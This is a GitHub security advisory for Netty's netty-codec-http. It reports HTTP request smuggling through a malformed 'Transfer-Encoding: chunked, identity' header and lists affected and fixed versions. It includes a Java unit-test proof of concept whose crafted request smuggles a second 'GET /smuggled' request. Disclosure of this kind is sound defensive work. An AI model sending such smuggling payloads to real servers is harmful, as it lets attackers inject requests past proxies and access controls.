GHSA-38f8-5428-x5cv

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Database specific

{
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z"
}

References

Affected packages

Maven / io.netty:netty-codec-http

Package

Name: io.netty:netty-codec-http; View open source insights on deps.dev
Purl: pkg:maven/io.netty/netty-codec-http

Affected ranges

Type: ECOSYSTEM
Events: Introduced

4.2.0.Alpha1

Fixed

4.2.13.Final

Affected versions

4.*

4.2.0.Alpha1

4.2.0.Alpha2

4.2.0.Alpha3

4.2.0.Alpha4

4.2.0.Alpha5

4.2.0.Beta1

4.2.0.RC1

4.2.0.RC2

4.2.0.RC3

4.2.0.RC4

4.2.0.Final

4.2.1.Final

4.2.2.Final

4.2.3.Final

4.2.4.Final

4.2.5.Final

4.2.6.Final

4.2.7.Final

4.2.8.Final

4.2.9.Final

4.2.10.Final

4.2.11.Final

4.2.12.Final

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-38f8-5428-x5cv/GHSA-38f8-5428-x5cv.json"

last_known_affected_version_range

"<= 4.2.12.Final"

Maven / io.netty:netty-codec-http

Package

Name: io.netty:netty-codec-http; View open source insights on deps.dev
Purl: pkg:maven/io.netty/netty-codec-http

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

4.1.133.Final

Affected versions

4.*

4.0.0.Alpha1

4.0.0.Alpha2

4.0.0.Alpha3

4.0.0.Alpha4

4.0.0.Alpha5

4.0.0.Alpha6

4.0.0.Alpha7

4.0.0.Alpha8

4.0.0.Beta1

4.0.0.Beta2

4.0.0.Beta3

4.0.0.CR1

4.0.0.CR2

4.0.0.CR3

4.0.0.CR4

4.0.0.CR5

4.0.0.CR6

4.0.0.CR7

4.0.0.CR8

4.0.0.CR9

4.0.0.Final

4.0.1.Final

4.0.2.Final

4.0.3.Final

4.0.4.Final

4.0.5.Final

4.0.6.Final

4.0.7.Final

4.0.8.Final

4.0.9.Final

4.0.10.Final

4.0.11.Final

4.0.12.Final

4.0.13.Final

4.0.14.Beta1

4.0.14.Final

4.0.15.Final

4.0.16.Final

4.0.17.Final

4.0.18.Final

4.0.19.Final

4.0.20.Final

4.0.21.Final

4.0.22.Final

4.0.23.Final

4.0.24.Final

4.0.25.Final

4.0.26.Final

4.0.27.Final

4.0.28.Final

4.0.29.Final

4.0.30.Final

4.0.31.Final

4.0.32.Final

4.0.33.Final

4.0.34.Final

4.0.35.Final

4.0.36.Final

4.0.37.Final

4.0.38.Final

4.0.39.Final

4.0.40.Final

4.0.41.Final

4.0.42.Final

4.0.43.Final

4.0.44.Final

4.0.45.Final

4.0.46.Final

4.0.47.Final

4.0.48.Final

4.0.49.Final

4.0.50.Final

4.0.51.Final

4.0.52.Final

4.0.53.Final

4.0.54.Final

4.0.55.Final

4.0.56.Final

4.1.0.Beta1

4.1.0.Beta2

4.1.0.Beta3

4.1.0.Beta4

4.1.0.Beta5

4.1.0.Beta6

4.1.0.Beta7

4.1.0.Beta8

4.1.0.CR1

4.1.0.CR2

4.1.0.CR3

4.1.0.CR4

4.1.0.CR5

4.1.0.CR6

4.1.0.CR7

4.1.0.Final

4.1.1.Final

4.1.2.Final

4.1.3.Final

4.1.4.Final

4.1.5.Final

4.1.6.Final

4.1.7.Final

4.1.8.Final

4.1.9.Final

4.1.10.Final

4.1.11.Final

4.1.12.Final

4.1.13.Final

4.1.14.Final

4.1.15.Final

4.1.16.Final

4.1.17.Final

4.1.18.Final

4.1.19.Final

4.1.20.Final

4.1.21.Final

4.1.22.Final

4.1.23.Final

4.1.24.Final

4.1.25.Final

4.1.26.Final

4.1.27.Final

4.1.28.Final

4.1.29.Final

4.1.30.Final

4.1.31.Final

4.1.32.Final

4.1.33.Final

4.1.34.Final

4.1.35.Final

4.1.36.Final

4.1.37.Final

4.1.38.Final

4.1.39.Final

4.1.40.Final

4.1.41.Final

4.1.42.Final

4.1.43.Final

4.1.44.Final

4.1.45.Final

4.1.46.Final

4.1.47.Final

4.1.48.Final

4.1.49.Final

4.1.50.Final

4.1.51.Final

4.1.52.Final

4.1.53.Final

4.1.54.Final

4.1.55.Final

4.1.56.Final

4.1.57.Final

4.1.58.Final

4.1.59.Final

4.1.60.Final

4.1.61.Final

4.1.62.Final

4.1.63.Final

4.1.64.Final

4.1.65.Final

4.1.66.Final

4.1.67.Final

4.1.68.Final

4.1.69.Final

4.1.70.Final

4.1.71.Final

4.1.72.Final

4.1.73.Final

4.1.74.Final

4.1.75.Final

4.1.76.Final

4.1.77.Final

4.1.78.Final

4.1.79.Final

4.1.80.Final

4.1.81.Final

4.1.82.Final

4.1.83.Final

4.1.84.Final

4.1.85.Final

4.1.86.Final

4.1.87.Final

4.1.88.Final

4.1.89.Final

4.1.90.Final

4.1.91.Final

4.1.92.Final

4.1.93.Final

4.1.94.Final

4.1.95.Final

4.1.96.Final

4.1.97.Final

4.1.98.Final

4.1.99.Final

4.1.100.Final

4.1.101.Final

4.1.102.Final

4.1.103.Final

4.1.104.Final

4.1.105.Final

4.1.106.Final

4.1.107.Final

4.1.108.Final

4.1.109.Final

4.1.110.Final

4.1.111.Final

4.1.112.Final

4.1.113.Final

4.1.114.Final

4.1.115.Final

4.1.116.Final

4.1.117.Final

4.1.118.Final

4.1.119.Final

4.1.120.Final

4.1.121.Final

4.1.122.Final

4.1.123.Final

4.1.124.Final

4.1.125.Final

4.1.126.Final

4.1.127.Final

4.1.128.Final

4.1.129.Final

4.1.130.Final

4.1.131.Final

4.1.132.Final

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-38f8-5428-x5cv/GHSA-38f8-5428-x5cv.json"

last_known_affected_version_range

"<= 4.1.132.Final"